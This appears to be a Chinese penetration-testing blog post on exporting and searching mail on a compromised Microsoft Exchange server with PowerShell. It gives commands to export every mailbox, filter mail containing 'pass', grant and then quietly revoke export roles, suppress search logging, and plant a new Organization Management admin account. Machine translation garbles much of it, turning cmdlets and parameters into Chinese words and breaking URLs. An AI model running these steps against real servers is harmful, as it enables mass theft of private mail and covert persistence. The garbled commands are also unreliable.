发布于2022年11月8日3年前 0x00 前言 在渗透测试中,如果我们获得了交换服务器的管理权限,下一步就需要对交换服务器的邮件进行搜索和导出,本文将要介绍常用的两种方法,开源四个powershell脚本,分享脚本编写细节。 0x01 简介 本文将要介绍以下内容: 管理交换服务器上邮件的两种方法 导出邮件的两种方法 搜索邮件的两种方法 注: 本文介绍的方法均为powershell命令 0x02 管理Exchange服务器上邮件的两种方法 1.先使用PSSession连接Exchange服务器,进而远程管理邮件 使用压力连接交换服务器的命令: $User='测试\管理员' $ Pass=convert to-secure string-as plaint ext domain admin 123!-力量 $Credential=新对象系统管理。自动化。PS凭据-参数列表$ User,$Pass $ Session=New-PS Session-configuration name Microsoft .交换-连接尤里http://Exchange01.test.com/PowerShell/-身份验证Kerberos-凭据$凭据 import-PS Session $ Session-allow clobber 补充: 查看PSSession: 获得-压力 断开PSSession: 删除-PSSession $Session 测试命令(获得所有邮箱用户): 获取邮箱 2.直接在Exchange服务器上执行管理邮件的命令 测试命令(获得所有邮箱用户的名称): 添加-PSSnapin Microsoft .交换。管理。powershell。抢购中; 获取邮箱 注: 不同交换版本对应的管理单元名称不同: Exchange 2007: 添加-PSSnapin Microsoft .交换。管理。powershell。admin Exchange 2010: 添加-PSSnapin Microsoft .交换。管理。powershell。e 2010 Exchange 2013 2016: 添加-PSSnapin Microsoft .交换。管理。powershell。抢购中; 补充:管理Exchange邮件的常用命令 参考资料: https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps (1)获得所有邮箱用户名称: 获取邮箱结果大小无限制 默认显示1000个用户,加上-结果大小无限制可以获得所有用户 (2)获得所有邮箱的信息,包括邮件数和上次访问邮箱的时间 获取邮箱|获取邮箱统计信息 (3)获得所有OU Get-OrganizationalUnit (4)通过邮件跟踪日志获得收发邮件的相关信息 参考资料: https://份文件。微软。com/en-us/powershell/module/exchange/mail-flow/get-messagetrackinglog?view=exchange-ps 邮件跟踪日志默认保存位置:% exchange installpath %传输角色\日志\邮件跟踪 查看发件人[email protected]从2019年一月一日9:00至今发送的所有邮件的相关信息(包括发件人,收件人和邮件主题): get-MessageTrackingLog-Start ' 2019年1月11日09:00:00 '-发件人[email protected]的 返回的结果很杂乱,其中包括多个事件: 数据平滑网络(雷达) 推迟 传递 发送 接收 只筛选出发送事件,使返回结果更简洁: get-MessageTrackingLog-EventID send-Start ' 01/11/2019 09:00:00 '-Sender ' test1 @ test。' com ' 统计每天收发邮件数目的脚本: https://画廊。TechNet。微软。com/office/f2af 711 e-defd-476d-896 e-8053 aa 964 BC 5/view/Discussions 需要修改起始时间和添加加载Exchange powershell管理单元的命令 0x03 导出邮件的两种方法 1.使用PSSession建立连接并导出邮件 参考资料: https://份文件。微软。com/en-us/powershell/module/exchange/mailbox/new-mailboxexportrequest?view=exchange-ps (1)将用户添加到角色组”Mailbox Import Export” 这里以用户管理人员为例: 新-管理角色分配角色"邮箱导入导出"用户管理员 补充:移除的命令 “删除-管理角色分配-身份”邮箱导入导出-管理员-确认:$false 添加后再次查看进行确认: get-管理角色分配-角色'邮箱导入导出" |fl用户 (2)重新启动Powershell 否则,无法使用命令New-MailboxexportRequest (3)导出邮件并保存 这里给出三个实例 1.导出指定用户的所有邮件,保存到交换服务器的c:\test $User='test1 ' new-MailboxexportRequest-mailbox $ User-file path(' \ \ localhost \ c $ \ test ' $ User ').PST’) 2.筛选出指定用户的身体中包含单词及格的邮件,保存到交换服务器的c:\test $User='test1 ' new-MailboxexportRequest-mailbox $ User-content filter {(body-like ' * pass * ')}-文件路径(' \ \ localhost \ c $ \ test ' $ User ').PST’) 3.导出所有邮件,保存到交换服务器的c:\test get-Mailbox-OrganizationalUnit Users-Resultsize unlimited | % { New-Mailbox exportrequest-Mailbox $ _ .名称-文件路径(' \ \ localhost \ c $ \ test '($ _ .名称)'。pst')} 导出后会自动保存导出请求的记录,默认为30天 如果不想保存导出请求,可以加上参数-CompletedRequestAgeLimit 0 补充:关于导出请求的相关操作 查看邮件导出请求: Get-MailboxExportRequest 删除具体的某个导出请求: ' remove-MailboxExportRequest-请求队列'邮箱数据库2057988509 '-请求guid 650 f 52 EC-722 b-47bb-8e 73-d 16 a17c 32129-确认:$ false “删除-MailboxExportRequest-Identity”测试。'确认:$ false ' 注: 匹配的参数从Get-MailboxExportRequest|fl的结果中获得 删除所有导出请求: get-MailboxExportRequest | Remove-MailboxExportRequest-Confirm:$ false 综上,导出用户测试一的特定邮件(正文中包含单词通过)到交换服务器的c:\test的实现代码已上传至github,地址如下: https://github。com/3g student/home-of-Powershell/blob/master/usepssessiontoexportmailfromxexchange。PS1 参数如下: usepssessiontexportmailfromxexchange-用户'管理员-密码“域名123!”-邮箱test1 '-导出路径' \ \ exchange 01。测试。com \ c $ \ test '-连接uri ' http://exchange 01。测试。com/PowerShell/'-筛选器{`'(body -like `'*pass*`')`'} ' 流程如下: 1.使用压力连接到交换服务器 2.判断使用的用户是否被加入到角色组"邮箱导入导出" 如果未被添加,需要添加用户 3.导出邮件并保存至交换服务器的c:\test,格式为聚苯乙烯纤维文件 4.如果新添加了用户,那么会将用户移除角色组"邮箱导入导出" 5.清除压力 导出的聚苯乙烯纤维文件使用观点打开即可 2.在Exchange服务器上直接导出邮件 (1)添加管理单元 不同交换版本对应的管理单元名称不同: Exchange 2007: 添加-PSSnapin Microsoft .交换。管理。powershell。admin Exchange 2010: 添加-PSSnapin Microsoft .交换。管理。powershell。e 2010 Exchange 2013 2016: 添加-PSSnapin Microsoft .交换。管理。powershell。抢购中; 不需要考虑角色组,可以直接导出邮件 (2)导出邮件 导出用户测试一的邮件,保存到交换服务器的丙:\测试: 添加-PSSnapin Microsoft .交换。管理。powershell。抢购中; $User='test1 ' new-MailboxexportRequest-mailbox $ User-file path(' \ \ localhost \ c $ \ test ' $ User ').PST’) 参照一中的功能,导出用户测试一的特定邮件(正文中包含单词通过)到交换服务器的c:\test的实现代码已上传至github,地址如下: https://github。com/3g student/home-of-Powershell/blob/master/directexportmailfromxexchange。PS1 参数如下: directexportmailfromxexchange-邮箱test1 '-导出路径' \ \ localhost \ c $ \ test '-筛选器{ ` '(body-like ` ' * pass * ` ')` ' } '-版本2013 注: 需要指定交换版本 流程如下: 1.添加管理单元 2.导出邮件并保存至交换服务器的c:\test,格式为聚苯乙烯纤维文件 导出的聚苯乙烯纤维文件使用观点打开即可 0x04 搜索邮件的两种方法 1.使用PSSession建立连接并搜索邮件 基本流程同导出邮件相似,区别在于角色组'邮箱导入导出'需要更换成'邮箱搜索' 实现代码已上传至github,地址如下: https://github。com/3g student/home-of-Powershell/blob/master/usepssessiontsearchmailfromxexchange。PS1 从用户测试一中搜索包含单词及格的邮件并保存到用户测试2的out2文件夹,参数如下: usepssessiontsearchmailfromxexchange-用户'管理员-密码“域名123!”-邮箱test1 '-连接uri ' http://exchange 01。测试。com/PowerShell/'-筛选器*通过* '-目标邮箱测试2 '-目标文件夹输出2 ' 导出的结果如下图 搜索所有包含单词及格的邮件并保存到用户测试2的outAll文件夹,参数如下: usepssessiontsearchmailfromxexchange-用户'管理员-密码“域名123!”-邮箱all '-连接uri ' http://exchange 01。测试。com/PowerShell/'-筛选器*通过* '-目标邮箱'测试2 '-目标文件夹'全部删除' 导出的结果如下图 2.在Exchange服务器上直接搜索邮件 基本流程同导出邮件相似,在具体命令上存在一些区别 实现代码已上传至github,地址如下: https://github。com/3g student/home-of-Powershell/blob/master/directsearchmailfromxexchange。PS1 从用户测试一中搜索包含单词及格的邮件并保存到用户测试2的out2文件夹,参数如下: directsearchmailfromxexchange-邮箱测试1 '-筛选器*通过* '-目标邮箱测试2 '-目标文件夹2英尺外-版本2013 搜索所有包含单词及格的邮件并保存到用户测试2的outAll文件夹,参数如下: directsearchmailfromxexchange-邮箱所有'-筛选器*通过* '-目标邮箱测试2 '-目标文件夹“全力以赴”版本2013 补充1:搜索邮件的常用命令 (1)枚举所有邮箱用户,显示包含关键词及格的邮件的数量 get-Mailbox | Search-Mailbox-Search查询' * pass * '-EstimateResultOnly (2)搜索邮箱用户测试1,显示包含关键词及格的邮件的数量 search-Mailbox-Identity test1-搜索查询' * pass * '-estimateresultly 示例如下图,数量为四个 (3)枚举所有邮箱用户,导出包含关键词及格的邮件至用户测试2的文件夹在外中(不保存日志): get-Mailbox | Search-Mailbox-Search查询' * pass * '-目标邮箱' test2 '-目标文件夹' out '-日志级别隐藏 (4)搜索邮箱用户测试1,导出包含关键词及格的邮件至用户测试2的文件夹在外中(不保存日志): search-Mailbox-Identity test1-搜索查询' * pass * '-目标邮箱' test2 '-目标文件夹' out '-日志级别隐藏 补充2 通过ECP搜索邮件 登录ecp,将当前用户加入发现管理组中 刷新页面 选择合规管理-就地电子发现封存 具体操作细节可参考:https://个文档。微软。com/en-us/exchange/security-and-compliance/就地电子发现/就地电子发现?重定向自=MSDN #角色 补充3 命令行下添加管理员用户 powershell-c ' Add-PSSnapin Microsoft .交换。管理。powershell。抢购中;$ pwd=convert to-secure string password 123-asplaintext-force;new-Mailbox-UserPrincipalName test user 1 @ test . com-OrganizationalUnit test.com/Users-别名测试用户1-名称测试用户1-显示名称测试用户1-密码$ pwd' Add-RoleGroupMember '组织管理-成员' testuser 1-BypassSecurityGroupManagerCheck ' 0x05 小结 本文介绍了管理交换邮件的两种方式:在交换服务器上直接调用管理单元和使用压力建立连接并远程管理邮件,分别介绍了对应的导出和搜索邮件的方法,开源四个powershell脚本,分享脚本编写细节。 留下回复
创建帐户或登录后发表意见